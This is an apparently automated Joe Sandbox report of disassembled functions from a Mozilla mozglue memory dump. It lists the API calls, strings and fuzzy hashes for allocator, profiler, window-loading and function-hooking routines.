String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 418fd89d6427ea1ae05e57579495d84a3dc27d706b17276d0fd4751e268b2148
Instruction ID: ee36c599fa48198b2c7725134521e9e790b374f81c6c1017c0afef02a68b7765
Opcode Fuzzy Hash: 418fd89d6427ea1ae05e57579495d84a3dc27d706b17276d0fd4751e268b2148
Instruction Fuzzy Hash: 4153B171A067018FD704CF29C580715FBE1BF8A328F29C66DE8698B7A1D771E841CB99

Function 6C690DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C690F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C690F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C690FB7
EnterCriticalSection.KERNEL32(?), ref: 6C690FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C691031
LeaveCriticalSection.KERNEL32(?), ref: 6C6910D0
EnterCriticalSection.KERNEL32(?), ref: 6C69117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C691C39
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C693391
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C693431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693437

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C693946
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C693793
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6937D2
MALLOC_OPTIONS, xrefs: 6C6935FE
: (malloc) Unsupported character in malloc options: ', xrefs: 6C693A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6937BD
MOZ_CRASH(), xrefs: 6C693950
<jemalloc>, xrefs: 6C693941, 6C6939F1
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C693559, 6C69382D, 6C693848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6937A8

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction ID: 96dae9f6c816b0358c2a12f1448292288e71a0c622159dc55be4494e21494cd5
Opcode Fuzzy Hash: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction Fuzzy Hash: 1F539E71A057028FD704CF29C580616FBE1BF8A328F29C76DE8699B791D771E842CB85

Function 6C6B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C68E1A5), ref: 6C6B5606
LoadLibraryW.KERNEL32(gdi32,?,6C68E1A5), ref: 6C6B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6B57FF

Strings

StretchDIBits, xrefs: 6C6B57CC
user32, xrefs: 6C6B5601
CreateWindowExW, xrefs: 6C6B56C5
SetWindowPos, xrefs: 6C6B56F7
LoadCursorW, xrefs: 6C6B5774
RegisterClassW, xrefs: 6C6B56AC
ReleaseDC, xrefs: 6C6B5742
GetDpiForWindow, xrefs: 6C6B5690
DeleteObject, xrefs: 6C6B57F9
GetThreadDpiAwarenessContext, xrefs: 6C6B562D
ShowWindow, xrefs: 6C6B56DE
MonitorFromWindow, xrefs: 6C6B578D
LoadIconW, xrefs: 6C6B575B
gdi32, xrefs: 6C6B560A
SetWindowLongPtrW, xrefs: 6C6B57B7
GetMonitorInfoW, xrefs: 6C6B57A2
AreDpiAwarenessContextsEqual, xrefs: 6C6B5637
GetWindowDC, xrefs: 6C6B5710
GetSystemMetricsForDpi, xrefs: 6C6B5677
FillRect, xrefs: 6C6B5729
EnableNonClientDpiScaling, xrefs: 6C6B5666
CreateSolidBrush, xrefs: 6C6B57E4

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction ID: b3b9cb022db72f0e9f9477c7989f80cbda05744432ed32d297e3daa30a732aad
Opcode Fuzzy Hash: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction Fuzzy Hash: 965169707113235BDB009F36CD84A663AF8AB4A785F114925AA21F3A55EFB0F811CF6D

Function 6C6B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

, xrefs: 6C6B4CD2

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C69F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Part of subcall function 6C675C50: __aulldiv.LIBCMT ref: 6C675DB4
Part of subcall function 6C675C50: LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C69F155
GetCurrentThreadId.KERNEL32 ref: 6C69F1E0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F1ED
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F212
GetCurrentThreadId.KERNEL32 ref: 6C69F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F248
GetCurrentThreadId.KERNEL32 ref: 6C69F2AE
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F2BB
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F2F8

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F350
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F35D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F381
GetCurrentThreadId.KERNEL32 ref: 6C69F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F3A0
GetCurrentThreadId.KERNEL32 ref: 6C69F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F491

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F3CF

Part of subcall function 6C69F070: GetCurrentThreadId.KERNEL32 ref: 6C69F440
Part of subcall function 6C69F070: AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F44D
Part of subcall function 6C69F070: ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F4A8
GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561
GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_resume, xrefs: 6C69F239

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 4cb49cd2e8061e87c9b4b231fee6b20f2df7199dfaaabf510f54abd1fa6f2fd0
Instruction ID: 74419fba93a6748ef766794b00d95a34a809e8270ab2221dbc72faede3565aa9
Opcode Fuzzy Hash: 4cb49cd2e8061e87c9b4b231fee6b20f2df7199dfaaabf510f54abd1fa6f2fd0
Instruction Fuzzy Hash: 2AD139316042019FDB009F66D8847A977F8EF87369F15462AF95583B81DB70B805CBAF

Function 6C6664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

nvdxgiwrap.dll, xrefs: 6C666513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798
_etoured.dll, xrefs: 6C6664ED
nvd3d9wrap.dll, xrefs: 6C666500
user32.dll, xrefs: 6C666526
detoured.dll, xrefs: 6C6664DA

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 6C67D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C67D904
LeaveCriticalSection.KERNEL32(?), ref: 6C67D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C67D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C67E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C67E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67E315
AcquireSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C67E37C
GetSystemInfo.KERNEL32(?), ref: 6C67E3C7
__Init_thread_footer.LIBCMT ref: 6C67E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6DE810,00000040), ref: 6C67E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7B8,00001388), ref: 6C67E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE744,00001388), ref: 6C67E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE784,00001388), ref: 6C67E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7DC,00001388), ref: 6C67E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE768,00001388), ref: 6C67E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C67E52E
ReleaseSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C67E54F

Part of subcall function 6C66D960: EnterCriticalSection.KERNEL32(?), ref: 6C66D999
Part of subcall function 6C66D960: EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66DA13

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C67E621
MALLOC_OPTIONS, xrefs: 6C67E3FF
: (malloc) Unsupported character in malloc options: ', xrefs: 6C67E6DD
MOZ_CRASH(), xrefs: 6C67E62B
<jemalloc>, xrefs: 6C67E61C, 6C67E6CC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67E560, 6C67E58A, 6C67E5A5

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: fc65f9435edddd54c3e4aa9483b46ff56f829e4af40b2a513b9941691e83d4f8
Instruction ID: 76ea3646499f32143a589c8e346c2385426a3e0c1043c65ab74aae4095a5dddf
Opcode Fuzzy Hash: fc65f9435edddd54c3e4aa9483b46ff56f829e4af40b2a513b9941691e83d4f8
Instruction Fuzzy Hash: A592CC71A056018FD724CF29C480755FBE1BF8A728F29CA6DE8698B791D331E841CBD9

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

~qel, xrefs: 6C67ED13
~qel, xrefs: 6C67ED10

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

